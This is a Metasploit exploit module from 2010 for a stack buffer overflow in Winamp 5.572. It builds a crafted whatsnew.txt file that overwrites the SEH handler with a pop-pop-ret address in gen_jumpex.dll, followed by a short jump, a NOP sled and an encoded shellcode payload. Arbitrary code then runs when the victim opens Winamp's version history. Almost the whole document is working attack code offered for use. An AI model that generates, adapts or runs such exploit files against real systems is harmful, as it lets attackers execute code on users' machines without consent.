# Title: Winamp 5.572 whatsnew.txt SEH (MSF)
# Author: Blake
# Published: 2010-04-15
# Tested on Windows XP SP3

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Winamp 5.572 whatsnew.txt Buffer Overflow Exploit (SEH)',
            'Description' => %q{
                This module exploits a stack overflow in Winamp version 5.572.
            By creating a specially crafted whatsnew.txt file, an an attacker may be able
            to execute arbitrary code. This exploit is triggered by accessing the help - winamp
        - version history option once the whatsnew.txt file has been placed in the Winamp directory.
            },
            'License' => MSF_LICENSE,
            'Author' => 'Blake',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11267' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 4488,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x10025497} ], #  pop ebx; pop ebp; retn gen_jumpex.dll

                ],
            'Privileged' => false,
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'whatsnew.txt']),
            ], self.class)
    end


    def exploit

    sploit = "Winamp 5.572"
        sploit << rand_text_alphanumeric(672)
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 20                    # nop sled
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(4488 - payload.encoded.length)

        whatsnewtxt = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(whatsnewtxt)

    end

end